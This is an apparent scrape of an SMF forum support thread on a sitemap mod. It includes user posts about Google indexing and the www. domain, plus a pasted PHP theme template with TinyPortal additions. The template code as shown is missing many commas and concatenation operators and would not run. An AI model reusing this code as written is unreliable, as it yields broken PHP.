<DIV id="subcontent" style="position:absolute; border: 2px solid #3d3d3d; background-color: white; width: 210px; padding: 2px; display:none">
<table width="100%" border="0" cellpadding="0" cellspacing="1">
<tr>
<td class="catbg" align="left" valign="middle" style="color:#ffffff;height:20px;line-height:16px;">Quick Search</td>
</tr>
<tr>
<td height="26" align="left" valign="middle" class="windowbg">
<form action="'
$scripturl'?action=search2" method="post" accept-charset="'$context['character_set'], '" style="margin: 0;">
<input type="text" name="search" value="" style="width: 150px;" />&nbsp;
<input type="submit" name="submit" value="GO" />
<input type="hidden" name="advanced" value="0" />'
;

// Search within current topic?
if (!empty($context['current_topic']['allow_search']))
echo '
<input type="hidden" name="topic" value="'
$context['current_topic'], '" />';

// If we're on a certain board, limit it to this board ;).
elseif (!empty($context['current_board']['allow_search']))
echo '
<input type="hidden" name="brd['
$context['current_board'], ']" value="'$context['current_board'], '" />';

if ($context['allow_search'])
echo '
</form></td>
</tr>
<tr>
<td height="20" align="center" valign="middle" class="windowbg"><a class="subNav-link" href="'
$scripturl'?action=search;advanced">Advanced Search</a></td>
</tr>
</table>
<div align="right" style="font-size:10px;"><a style="color:#000000;" href="#" onClick="overlayclose(\'subcontent\'); return false">[Close]</a></div>

</DIV>
</td>'
;

// Is the user allowed to administrate at all? ([admin])
if ($context['allow_admin'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=admin">' $txt[2] , '</a></td>';

// The [calendar]!
if ($context['allow_calendar'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=calendar">' $txt['calendar24'] , '</a></td>';

// the [member] list button
if ($context['allow_memberlist'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=mlist">' $txt[331] , '</a></td>';


// If the user is a guest, show [login] button.
if ($context['user']['is_guest'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=login">' $txt[34] , '</a></td>';


// If the user is a guest, also show [register] button.
if ($context['user']['is_guest'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=register">' $txt[97] , '</a></td>';


// Otherwise, they might want to [logout]...
if ($context['user']['is_logged'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=logout;sesc='$context['session_id'], '">' $txt[108] , '</a></td>';

// How about the [quick links] button?
if ($context['user']['is_logged'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'#quicklinks" onClick="return overlay(this, \'quicklinks\',\'bottom\')">Quick Links<img src="'$settings['images_url'], '/search_down.gif" width="10" height="10" /></a>
<!--Do not remove outer most DIV tag with id="quicklinks"-->
<DIV id="quicklinks" style="position:absolute; border: 2px solid #3d3d3d; background-color: white; width: 150px; padding: 2px; display:none">
<table width="100%" border="0" cellpadding="0" cellspacing="1">
<tr>
<td class="catbg" align="left" valign="middle" style="color:#ffffff;height:20px;line-height:16px;">Quick Links</td>
</tr>
<tr>
<td height="20" align="left" valign="middle" class="windowbg"><a class="subNav-link" href="'
$scripturl'?action=unread">New Posts</a></td>
</tr>
<tr>
<td height="20" align="left" valign="middle" class="windowbg"><a class="subNav-link" href="'
$scripturl'?action=unreadreplies">New Replies</a></td>
</tr>
<tr>
<td class="catbg" align="left" valign="middle" style="color:#ffffff;height:20px;line-height:16px;">User Settings</td>
</tr>
<tr>
<td height="20" align="left" valign="middle" class="windowbg"><a class="subNav-link" href="'
$scripturl'?action=profile">View Profile</a></td>
</tr>
<tr>
<td height="20" align="left" valign="middle" class="windowbg"><a class="subNav-link" href="'
$scripturl'?action=profile;u='$context['user']['id'], ';sa=account">Account Settings</a></td>
</tr>
<tr>
<td height="20" align="left" valign="middle" class="windowbg"><a class="subNav-link" href="'
$scripturl'?action=profile;u='$context['user']['id'], ';sa=forumProfile">Edit Profile</a></td>
</tr>
</table>
<div align="right" style="font-size:10px;"><a style="color:#000000;" href="#" onClick="overlayclose(\'quicklinks\'); return false">[Close]</a></div>

</DIV>
</td>'
;

// The end of tab section.
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
</tr>
</table>'
;

}
// Generate a strip of buttons.
function template_button_strip($button_strip$direction 'top'$force_reset false$custom_td '')
{
global $settings$buttons$context$txt$scripturl;

// Create the buttons...
foreach ($button_strip as $key => $value)
{
if (isset($value['test']) && empty($context[$value['test']]))
{
unset($button_strip[$key]);
continue;
}
elseif (!isset($buttons[$key]) || $force_reset)
$buttons[$key] = '<a href="' $value['url'] . '" ' .( isset($value['custom']) ? $value['custom'] : '') . '>' $txt[$value['text']] . '</a>';

$button_strip[$key] = $buttons[$key];
}

if (empty($button_strip))
return '<td>&nbsp;</td>';

echo '
<td class="'
$direction == 'top' 'main' 'mirror''tab_' $context['right_to_left'] ? 'last' 'first' '">&nbsp;</td>
<td class="'
$direction == 'top' 'main' 'mirror''tab_back">'implode(' &nbsp;|&nbsp; '$button_strip) , '</td>
<td class="'
$direction == 'top' 'main' 'mirror''tab_' $context['right_to_left'] ? 'first' 'last' '">&nbsp;</td>';
}

?>

Title: Re: SMF Sitemap
Post by: tiger5226 on December 29, 2007, 12:58:24 AM
Slammeddime,

QuoteA common misconception is that a sitemap will get you indexed in Google.  That is untrue.  As I have explained in prior posts in this topic, a sitemap only lets google know what pages are available to index.  Whether Google indexes them or not depends on their discretion and if there is any worthwhile content and so on and so forth.  There is no guarantee that simply having a sitemap will get you into the rankings.

Also, google has plenty and plenty of your pages... (hell, the sitemap is Number 4 there... heh) http://www.google.com/search?hl=en&safe=off&q=site%3Afreegeeksupport.com%2F&btnG=Search

I think the 'problem' may lie in the fact that you send people to www.freegeeksupport.com, but you've set your board up as freegeeksupport.com (lacking the leading www.). This DOES make a difference.

How can I fix this so my board is www.freegeeksupport.com?

Thank for the help in advance

Mark

Title: Re: SMF Sitemap
Post by: SlammedDime on December 29, 2007, 11:01:53 AM
Quote from: clrews on December 28, 2007, 09:43:10 PM
hmmm...I replaced it, but it still seems to give me the same error


Replaced Part:

<td valign="middle" align="center" style="white-space: nowrap;" class="copyright-links">
', theme_copyright(), ' <br />', tportal_version() , '
<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">Sitemap</a></span>
</td>
<td width="28%" valign="middle" align="right" class="copyright-links">
<a href="http://www.mysql.com/" target="_blank" style="font-size:10px;">MySQL</a>&nbsp;|&nbsp;<a href="http://www.php.net/" target="_blank" style="font-size:10px;">PHP</a>&nbsp;|&nbsp;<a href="http://validator.w3.org/check/referer" target="_blank" style="font-size:10px;">XHTML</a>&nbsp;|&nbsp;<a href="http://jigsaw.w3.org/css-validator/check/referer" target="_blank" style="font-size:10px;">CSS</a>
</td>



Whole File:

<?php
// Version: 1.1 RC3; index

/* This template is, perhaps, the most important template in the theme. It
contains the main template layer that displays the header and footer of
the forum, namely with main_above and main_below. It also contains the
menu sub template, which appropriately displays the menu; the init sub
template, which is there to set the theme up; (init can be missing.) and
the linktree sub template, which sorts out the link tree.

The init sub template should load any data and set any hardcoded options.

The main_above sub template is what is shown above the main content, and
should contain anything that should be shown up there.

The main_below sub template, conversely, is shown after the main content.
It should probably contain the copyright statement and some other things.

The linktree sub template should display the link tree, using the data
in the $context['linktree'] variable.

The menu sub template should display all the relevant buttons the user
wants and or needs.

For more information on the templating system, please see the site at:
http://www.simplemachines.org/
*/

// Initialize the template... mainly little settings.
function template_init()
{
global $context$settings$options$txt;

/* Use images from default theme when using templates from the default theme?
if this is 'always', images from the default theme will be used.
if this is 'defaults', images from the default theme will only be used with default templates.
if this is 'never' or isn't set at all, images from the default theme will not be used. */
$settings['use_default_images'] = 'never';

/* What document type definition is being used? (for font size and other issues.)
'xhtml' for an XHTML 1.0 document type definition.
'html' for an HTML 4.01 document type definition. */
$settings['doctype'] = 'xhtml';

/* The version this template/theme is for.
This should probably be the version of SMF it was created for. */
$settings['theme_version'] = '1.1 RC3';

/* Set a setting that tells the theme that it can render the tabs. */
$settings['use_tabs'] = true;

/* Use plain buttons - as oppossed to text buttons? */
$settings['use_buttons'] = true;

/* Show sticky and lock status seperate from topic icons? Leave true, icons don't exist for false.*/
$settings['seperate_sticky_lock'] = true;
}

// The main sub template above the content.
function template_main_above()
{
global $context$settings$options$scripturl$txt$modSettings;

// Show right to left and the character set for ease of translating.
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"'
$context['right_to_left'] ? ' dir="rtl"' '''><head>
<meta http-equiv="Content-Type" content="text/html; charset='
$context['character_set'], '" />
 <meta name="description" content="Nintendo Wii Forum Community, Wii News, Tournaments and Games alongside the latest gaming news and rumours">
<meta name="keywords" content="Nintendo, Wii, Forum, news, discussion, wii gaming, wii release, wii tournaments, wii online" />
<script language="JavaScript" type="text/javascript" src="'
$settings['default_theme_url'], '/script.js?rc3"></script>
     <script language="javascript" type="text/javascript" src="'
$settings['theme_url'], '/dropdown.js"></script>
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
var smf_theme_url = "'
$settings['theme_url'], '";
var smf_images_url = "'
$settings['images_url'], '";
var smf_scripturl = "'
$scripturl'";
// ]]></script>
<title>'
$context['page_title'], '</title>';
// The ?rc3 part of this link is just here to make sure browsers don't cache it wrongly.
echo '
<link rel="stylesheet" type="text/css" href="'
$settings['theme_url'], '/style.css?rc3" />
<link rel="stylesheet" type="text/css" href="'
$settings['default_theme_url'], '/print.css?rc3" media="print" />';
/* Internet Explorer 4/5 and Opera 6 just don't do font sizes properly. (they are big...)
Thus, in Internet Explorer 4, 5, and Opera 6 this will show fonts one size smaller than usual.
Note that this is affected by whether IE 6 is in standards compliance mode.. if not, it will also be big.
Standards compliance mode happens when you use xhtml... */
if ($context['browser']['needs_size_fix'])
echo '
<link rel="stylesheet" type="text/css" href="'
$settings['default_theme_url'], '/fonts-compat.css" />';
// Show all the relative links, such as help, search, contents, and the like.
echo '
<link rel="help" href="'
$scripturl'?action=help" target="_blank" />
<link rel="search" href="' 
$scripturl '?action=search" />
<link rel="contents" href="'
$scripturl'" />';

// If RSS feeds are enabled, advertise the presence of one.
if (!empty($modSettings['xmlnews_enable']))
echo '
<link rel="alternate" type="application/rss+xml" title="'
$context['forum_name'], ' - RSS" href="'$scripturl'?type=rss;action=.xml" />';

// If we're viewing a topic, these should be the previous and next topics, respectively.
if (!empty($context['current_topic']))
echo '
<link rel="prev" href="'
$scripturl'?topic='$context['current_topic'], '.0;prev_next=prev" />
<link rel="next" href="'
$scripturl'?topic='$context['current_topic'], '.0;prev_next=next" />';

// If we're in a board, or a topic for that matter, the index will be the board's index.
if (!empty($context['current_board']))
echo '
<link rel="index" href="' 
$scripturl '?board=' $context['current_board'] . '.0" />';

// We'll have to use the cookie to remember the header...
if ($context['user']['is_guest'])
$options['collapse_header'] = !empty($_COOKIE['upshrink']);

// Output any remaining HTML headers. (from mods, maybe?)
echo $context['html_headers'], '
        <script language="JavaScript" type="text/javascript">
                var current_leftbar = '
, empty($options['collapse_leftbar']) ? 'false' 'true'';
                function shrinkHeaderLeftbar(mode)
                {'
;

        
// Guests don't have theme options!!
        
if ($context['user']['is_guest'])
                echo 
'
                        document.cookie = "upshrink=" + (mode ? 1 : 0);'
;
        else
                echo 
'
                        document.getElementById("upshrinkTempLeftbar").src = "'
$scripturl'?action=jsoption;var=collapse_leftbar;val=" + (mode ? 1 : 0) + ";sesc='$context['session_id'], ';" + (new Date().getTime());';

        echo 
'
                        document.getElementById("upshrinkLeftbar").src = smf_images_url + (mode ? "/upshrink2.gif" : "/upshrink.gif");
                        document.getElementById("leftbarHeader").style.display = mode ? "none" : "";
                        current_leftbar = mode;
                }
         // --></script>
        <script language="JavaScript" type="text/javascript"><!--
                var current_rightbar = '
, empty($options['collapse_rightbar']) ? 'false' 'true'';
                function shrinkHeaderRightbar(mode)
                {'
;

        
// Guests don't have theme options!!
        
if ($context['user']['is_guest'])
                echo 
'
                        document.cookie = "upshrink=" + (mode ? 1 : 0);'
;
        else
                echo 
'
                        document.getElementById("upshrinkTempRightbar").src = "'
$scripturl'?action=jsoption;var=collapse_rightbar;val=" + (mode ? 1 : 0) + ";sesc='$context['session_id'], ';" + (new Date().getTime());';

        echo 
'
                        document.getElementById("upshrinkRightbar").src = smf_images_url + (mode ? "/upshrink2.gif" : "/upshrink.gif");
                        document.getElementById("rightbarHeader").style.display = mode ? "none" : "";
                        current_rightbar = mode;
                }
       // --></script>
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
var current_header = '
, empty($options['collapse_header']) ? 'false' 'true'';

function shrinkHeader(mode)
{'
;

// Guests don't have theme options!!
if ($context['user']['is_guest'])
echo '
document.cookie = "upshrink=" + (mode ? 1 : 0);'
;
else
echo '
smf_setThemeOption("collapse_header", mode ? 1 : 0, null, "'
$context['session_id'], '");';

echo '
document.getElementById("upshrink").src = smf_images_url + (mode ? "/upshrink2.gif" : "/upshrink.gif");

document.getElementById("upshrinkHeader").style.display = mode ? "none" : "";
document.getElementById("upshrinkHeader2").style.display = mode ? "none" : "";

current_header = mode;
}
// ]]></script>'
;

// the routine for the info center upshrink
echo '
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
var current_header_ic = '
, empty($options['collapse_header_ic']) ? 'false' 'true'';

function shrinkHeaderIC(mode)
{'
;

if ($context['user']['is_guest'])
echo '
document.cookie = "upshrinkIC=" + (mode ? 1 : 0);'
;
else
echo '
smf_setThemeOption("collapse_header_ic", mode ? 1 : 0, null, "'
$context['session_id'], '");';

echo '
document.getElementById("upshrink_ic").src = smf_images_url + (mode ? "/expand.gif" : "/collapse.gif");

document.getElementById("upshrinkHeaderIC").style.display = mode ? "none" : "";

current_header_ic = mode;
}
// ]]></script>
</head>
<body>'
;
// TinyPortal start
     
if($context['TPortal']['fixed_width']!=0)
             echo 
'<table align="center" width="'.$context['TPortal']['fixed_width'].'" cellpadding="0" cellspacing="0" border="0"><tr><td>';
// TinyPortal end

//Change width to 100% if you want it fluid.
echo '
<div align="center">'
;

//This controls the width of the forum. Adjust in the CSS.
echo '
<div id="widthControl">'
;

//Display the main header
echo '
<div class="logo-border">
<div class="logo-box"><a href="'
$scripturl'"><img src="' $settings['images_url'] . '/logo.gif" width="225" height="75" alt="'$context['page_title'], '" title="'$context['page_title'], '" /></a></div>
<div class="navBar">
<!-- BEGIN mainNav -->
'
template_menu(), '
<!-- END mainNav -->
</div>
</div>'
;

// If you want to put some ads or something on your pages, add them in this.
echo '
<div id="blank-box"></div>'
;

if($context['user']['is_guest'])
{
echo '
<div class="Warn-guest">Welcome Guest, please <a href="'
$scripturl'?action=login">login</a> or <a href="'$scripturl'?action=register">register</a>.</div>';
}

echo '
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="100%" valign="top" style="padding: 10px 0 0 0;">
<div style="text-align:left;">'
;

echo '
<div class="tborder" '
$context['browser']['needs_size_fix'] && !$context['browser']['is_ie6'] ? ' style="width: 100%;"' '''>';

// display the user info panel
echo '
<table width="100%" cellspacing="0" cellpadding="4" class="bordercolor" border="0">
<tr>'
;

echo '
<td align="left" valign="middle" class="windowbg2">'
;

if($context['user']['is_guest'])
{
echo '
<script language="JavaScript" type="text/javascript" src="'
$settings['default_theme_url'], '/sha1.js"></script>

<form action="'
$scripturl'?action=login2" method="post" accept-charset="'$context['character_set'], '" class="middletext" style="margin: 3px 1ex 1px 0;"', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' $context['session_id'] . '\');"' '''>
<table border="0" cellpadding="1" cellspacing="0">
<tr>
<td>Username:</td>
<td><input type="text" name="user" size="10" /></td>
<td><select name="cookielength">
<option value="60">'
$txt['smf53'], '</option>
<option value="1440">'
$txt['smf47'], '</option>
<option value="10080">'
$txt['smf48'], '</option>
<option value="43200">'
$txt['smf49'], '</option>
<option value="-1" selected="selected">'
$txt['smf50'], '</option>
</select></td>
</tr>
<tr>
<td>Password:</td>
<td><input type="password" name="passwrd" size="10" /></td>
<td><input type="submit" value="'
$txt[34], '" /></td>
</tr>
</table>
<input type="hidden" name="hash_passwrd" value="" />
</form>'
;
}

if($context['user']['is_logged'])
{
echo '
<strong>Welcome back, '
$context['user']['name'] , '.</strong>';
}

if ($context['allow_admin'])
{
echo '
&nbsp;(<span class="smalltext"><a href="'
$scripturl'?action=admin">Admin CP</a></span>&nbsp;-';
}

if ($context['user']['is_logged'])
{
echo '
<span class="smalltext"><a href="'
$scripturl'?action=profile">User CP</a></span>&nbsp;-&nbsp;<span class="smalltext"><a href="'$scripturl'?action=logout;sesc='$context['session_id'], '">' $txt[108] , '</a></span>)';
}

if($context['user']['is_logged'])
{
echo '
<br />
<span class="smalltext"><a href="'
$scripturl'?action=unread">View New Posts</a></span>&nbsp;|&nbsp;<span class="smalltext"><a href="'$scripturl'?action=unreadreplies">View New Replies</a></span>';
}

            
// Go to PM center... [pm]
if ($context['user']['is_logged'] && $context['allow_pm'])
{
echo ((isset($current_action) && $curent_action == 'pm') || $context['browser']['is_ie4']) ? '' '' '
|&nbsp;<span class="smalltext"><a href="'
$scripturl'?action=pm">Private Messages</a>: '$context['user']['unread_messages'] . ''$context['user']['unread_messages'] > '<img src="' $settings['images_url'] . '/icons/pmnotify.gif" width="12" height="12" align="absmiddle" />' '' '&nbsp;Unread, '$context['user']['messages'], ' Total.</span>';
}
echo '
</td>
<td align="left" valign="middle" width="250" class="windowbg">'
;
// TinyPortal
         
if($context['TPortal']['leftbar'])
             echo 
'<a href="#" onclick="shrinkHeaderLeftbar(!current_leftbar); return false;"><img id="upshrinkLeftbar" src="'$settings['images_url'], '/', empty($options['collapse_leftbar']) ? 'upshrink.gif' 'upshrink2.gif''" alt="*" title="'$txt['upshrink_description'], '" style="margin: 2px 1ex;" border="0" /></a><img id="upshrinkTempLeftbar" src="'$settings['images_url'], '/blank.gif" alt="" style="margin-right: 2ex;" />';
         if(
$context['TPortal']['rightbar'])
             echo 
'<a href="#" onclick="shrinkHeaderRightbar(!current_rightbar); return false;"><img id="upshrinkRightbar" src="'$settings['images_url'], '/', empty($options['collapse_rightbar']) ? 'upshrink.gif' 'upshrink2.gif''" alt="*" title="'$txt['upshrink_description'], '" style="margin: 2px 0;" border="0" /></a><img id="upshrinkTempRightbar" src="'$settings['images_url'], '/blank.gif" alt="" style="margin-right: 2ex;" />';
// TinyPortal ends
          // Show the total time logged in?
if ($context['user']['is_logged'])
{
echo '
'
$txt['totalTimeLogged1'], '<br />';

// If days is just zero, don't bother to show it.
if ($context['user']['total_time_logged_in']['days'] > 0)
echo $context['user']['total_time_logged_in']['days'] . $txt['totalTimeLogged2'];

// Same with hours - only show it if it's above zero.
if ($context['user']['total_time_logged_in']['hours'] > 0)
echo $context['user']['total_time_logged_in']['hours'] . $txt['totalTimeLogged3'];

// But, let's always show minutes - Time wasted here: 0 minutes ;).
echo $context['user']['total_time_logged_in']['minutes'], $txt['totalTimeLogged4'], '<br />';
}
echo '
</td></tr></table>
</div>'
;

// The main content should go here.  A table is used because IE 6 just can't handle a div.
        
echo '<div id="bodyarea" style="padding: 10px 8px 0px 8px;">
        <table width="100%" cellpadding="0" cellspacing="0" border="0"><tr>'
;

    
// TinyPortal integrated bars
          
if($context['TPortal']['leftbar'])
          {
              echo 
'<td width="' ,$context['TPortal']['leftbar_width'], '" style="padding: ' , isset($context['TPortal']['padding']) ? $context['TPortal']['padding'] : '4' 'px; background-color: transparent; padding-top: 4px;" valign="top">
                 <div id="leftbarHeader"'
, empty($options['collapse_leftbar']) ? '' ' style="display: none;"'' style="padding-top: 5px; width: ' ,$context['TPortal']['leftbar_width'], 'px;">';
                 
TPortal_sidebar('left');
              echo 
'</div></td>';
          }

        echo 
'<td width="100%" align="left" valign="top" style="padding-top: 10px; padding-bottom: 10px;">';
        if(
$context['TPortal']['centerbar'])
                     echo 
'<div>' TPortal_sidebar('center') , '</div>';
}

function 
template_main_below()
{
global $context$settings$options$scripturl$txt;

    echo '</td>';
         
// TinyPortal integrated bars
          
if($context['TPortal']['rightbar']){
              echo 
'<td style="padding: ' , isset($context['TPortal']['padding']) ? $context['TPortal']['padding'] : '4' 'px; background-color: transparent; padding-top: 4px;" valign="top" align="right">
                 <div id="rightbarHeader"'
, empty($options['collapse_rightbar']) ? '' ' style="display: none;"'' style="width: ' ,$context['TPortal']['rightbar_width'], 'px; text-align: left; padding-top: 5px;">';
              
TPortal_rightbar();
              echo 
'</div></td>';
          }
        echo 
'</tr></table></div>';

// Show the "Powered by" and "Valid" logos, as well as the copyright. Remember, the copyright must be somewhere!
echo '

<div id="footerarea" style="text-align: center; padding-bottom: 1ex;'
$context['browser']['needs_size_fix'] && !$context['browser']['is_ie6'] ? ' width: 100%;' '''">
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
function smfFooterHighlight(element, value)
{
element.src = smf_images_url + "/" + (value ? "h_" : "") + element.id + ".gif";
}
// ]]></script>
<table cellspacing="0" cellpadding="3" border="0" align="center" width="100%">
<tr>
<td width="28%" valign="middle" align="left">
<a href="http://www.webtechnica.net/" target="_blank"><img src="'
$settings['images_url'], '/88x31_banner_white.gif" width="88" height="31" alt="Theme by webtechnica.net" title="Theme by webtechnica.net" /></a>
</td>
<td valign="middle" align="center" style="white-space: nowrap;" class="copyright-links">
'
theme_copyright(), ' <br />'tportal_version() , '
<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'
.$scripturl.'?action=sitemap">Sitemap</a></span>
</td>
<td width="28%" valign="middle" align="right" class="copyright-links">
<a href="http://www.mysql.com/" target="_blank" style="font-size:10px;">MySQL</a>&nbsp;|&nbsp;<a href="http://www.php.net/" target="_blank" style="font-size:10px;">PHP</a>&nbsp;|&nbsp;<a href="http://validator.w3.org/check/referer" target="_blank" style="font-size:10px;">XHTML</a>&nbsp;|&nbsp;<a href="http://jigsaw.w3.org/css-validator/check/referer" target="_blank" style="font-size:10px;">CSS</a>
</td>
</tr>
</table>'
;

// Show the load time?
if ($context['show_load_time'])
echo '
<span class="smalltext">'
$txt['smf301'], $context['load_time'], $txt['smf302'], $context['load_queries'], $txt['smf302b'], '</span>';

// This is an interesting bug in Internet Explorer AND Safari. Rather annoying, it makes overflows just not tall enough.
if (($context['browser']['is_ie'] && !$context['browser']['is_ie4']) || $context['browser']['is_mac_ie'] || $context['browser']['is_safari'])
{
// The purpose of this code is to fix the height of overflow: auto div blocks, because IE can't figure it out for itself.
echo '
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA['
;

// Unfortunately, Safari does not have a "getComputedStyle" implementation yet, so we have to just do it to code...
if ($context['browser']['is_safari'])
echo '
window.addEventListener("load", smf_codeFix, false);

function smf_codeFix()
{
var codeFix = document.getElementsByTagName ? document.getElementsByTagName("div") : document.all.tags("div");

for (var i = 0; i < codeFix.length; i++)
{
if ((codeFix[i].className == "code" || codeFix[i].className == "post" || codeFix[i].className == "signature") && codeFix[i].offsetHeight < 20)
codeFix[i].style.height = (codeFix[i].offsetHeight + 20) + "px";
}
}'
;
else
echo '
var window_oldOnload = window.onload;
window.onload = smf_codeFix;

function smf_codeFix()
{
var codeFix = document.getElementsByTagName ? document.getElementsByTagName("div") : document.all.tags("div");

for (var i = codeFix.length - 1; i > 0; i--)
{
if (codeFix[i].currentStyle.overflow == "auto" && (codeFix[i].currentStyle.height == "" || codeFix[i].currentStyle.height == "auto") && (codeFix[i].scrollWidth > codeFix[i].clientWidth || codeFix[i].clientWidth == 0) && (codeFix[i].offsetHeight != 0 || codeFix[i].className == "code"))
codeFix[i].style.height = (codeFix[i].offsetHeight + 36) + "px";
}

if (window_oldOnload)
{
window_oldOnload();
window_oldOnload = null;
}
}'
;

echo '
// ]]></script>'
;
}
// TinyPortal
         
echo '</div>';
     if(
$context['TPortal']['fixed_width']!=0)
             echo 
'</td></tr></table>';
// end
echo '
</div>
</td>
</tr>
</table>
</div>'
;

// The following will be used to let the user know that some AJAX process is running
echo '
<div id="ajax_in_progress" style="display: none;'
$context['browser']['is_ie'] && !$context['browser']['is_ie7'] ? 'position: absolute;' '''">'$txt['ajax_in_progress'], '</div>
</div>
</div>
</body></html>'
;
}

// If the user is logged in, display stuff like their  new messages, etc...
function theme_newestlink()
{
global $context$settings$options$scripturl$txt;

if ($context['user']['is_logged'])
{
echo '
<a href="'
$scripturl'?action=unread">'$txt['unread_since_visit'], '</a>&nbsp;|&nbsp;<a href="'$scripturl'?action=unreadreplies">'$txt['show_unread_replies'], '</a>';

}
// Otherwise they're a guest - send them a lovely greating...
else
echo $txt['welcome_guest'];
}

// Show a linktree. This is that thing that shows "My Community | General Category | General Discussion"..
function theme_linktree()
{
global $context$settings$options;

echo '<div class="nav-tree" style="font-size: smaller; margin-bottom: 2ex; margin-top: 2ex;text-align:left;">';

// Each tree item has a URL and name. Some may have extra_before and extra_after.
foreach ($context['linktree'] as $link_num => $tree)
{
// Show something before the link?
if (isset($tree['extra_before']))
echo $tree['extra_before'];

// Show the link, including a URL if it should have one.
echo '<b>'$settings['linktree_link'] && isset($tree['url']) ? '<a href="' $tree['url'] . '" class="nav-tree">' $tree['name'] . '</a>' $tree['name'], '</b>';

// Show something after the link...?
if (isset($tree['extra_after']))
echo $tree['extra_after'];

// Don't show a separator for the last one.
if ($link_num != count($context['linktree']) - 1)
echo '&nbsp;<img src="' $settings['images_url'] . '/treeNav_devider.gif" width="21" height="21" align="absmiddle" alt="" />&nbsp;';
}

echo '</div>';
}

//Show a linktree (this one is a vB look alike, vB clone is below).
function theme_linktree2()
{
global $context$settings$options;

// Folder style or inline?  Inline has a smaller font.
echo '<span class="nav-tree" style="font-size: smaller;">';

// Each tree item has a URL and name.  Some may have extra_before and extra_after.
foreach ($context['linktree'] as $link_num => $tree)
{
// Show pretty folder
if ($link_num == 0)
{
echo '<img src="' $settings['images_url'] . '/icons/folder_open.gif" alt="+" border="0" />&nbsp; ';
}
else if ($link_num == 1)
{
echo '<img src="' $settings['images_url'] . '/icons/linktree_side.gif" alt="|-" border="0" /><img src="' $settings['images_url'] . '/icons/folder_open.gif" alt="+" border="0" />&nbsp; ';
}
else
{
echo '&raquo; ';
}

// Show the link, including a URL if it should have one.
echo '<b>'$settings['linktree_link'] && isset($tree['url']) ? '<a href="' $tree['url'] . '" class="nav-tree">' $tree['name'] . '</a>' $tree['name'], '</b>';

if ($link_num == 0)
{
echo '<br />';
}
}

echo '</span>';
}

// Show a linktree (vB Clone).  This is that thing that shows "My Community | General Category | General Discussion"..
function theme_linktree3()
{
        global 
$context$settings$options;

        
// Folder style or inline?  Inline has a smaller font.
        
echo '<span class="nav-tree">';

echo '<img src="' $settings['images_url'] . '/icons/folder_open.gif" alt="+" border="0" />&nbsp;';

        
// Each tree item has a URL and name.  Some may have extra_before and extra_after.
        
foreach ($context['linktree'] as $link_num => $tree)
        {
                
// Show something before the link?
                
if (isset($tree['extra_before']))
                        echo 
$tree['extra_before'];

                if ((
$link_num == count($context['linktree']) - 1) && count($context['linktree'])>1)
                        echo 
'<br />
<img src="' 
$settings['images_url'] . '/icons/linktree_side.gif" alt="|-" border="0" /><img src="' $settings['images_url'] . '/icons/folder_open.gif" alt="+" border="0" />&nbsp;';

                
// Show the link, including a URL if it should have one.
                
echo '<b>'$settings['linktree_link'] && isset($tree['url']) ? '<a href="' $tree['url'] . '" class="nav-tree">' $tree['name'] . '</a>' $tree['name'], '</b>';

                
// Show something after the link...?
                
if (isset($tree['extra_after']))
                        echo 
$tree['extra_after'];

                
// Don't show a separator for the last one.
                
if ($link_num count($context['linktree']) - 2)
                        echo 
'&nbsp;&raquo;&nbsp;';

        }

        echo 
'</span>';
}

// Show the menu up top. Something like [home] [help] [profile] [logout]...
function template_menu()
{
global $context$settings$options$scripturl$txt;

// Work out where we currently are.
$current_action 'home';
if (in_array($context['current_action'], array('admin''ban''boardrecount''cleanperms''detailedversion''dumpdb''featuresettings''featuresettings2''findmember''maintain''manageattachments''manageboards''managecalendar''managesearch''membergroups''modlog''news''optimizetables''packageget''packages''permissions''pgdownload''postsettings''regcenter''repairboards''reports''serversettings''serversettings2''smileys''viewErrorLog''viewmembers')))
$current_action 'admin';
if (in_array($context['current_action'], array('search''admin''calendar''profile''mlist''register''login''help''pm''forum')))
$current_action $context['current_action'];
if ($context['current_action'] == 'search2')
$current_action 'search';
if ($context['current_action'] == 'theme')
$current_action = isset($_REQUEST['sa']) && $_REQUEST['sa'] == 'pick' 'profile' 'admin';

// Are we using right-to-left orientation?
if ($context['right_to_left'])
{
$first 'last';
$last 'first';
}
else
{
$first 'first';
$last 'last';
}

// Show the start of the tab section.
echo '
<table cellpadding="0" cellspacing="0" border="0">
<tr>'
;

// Show the [home] button.
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'">' $txt[103] , '</a></td>';

// Show the [forum] button.
echo '
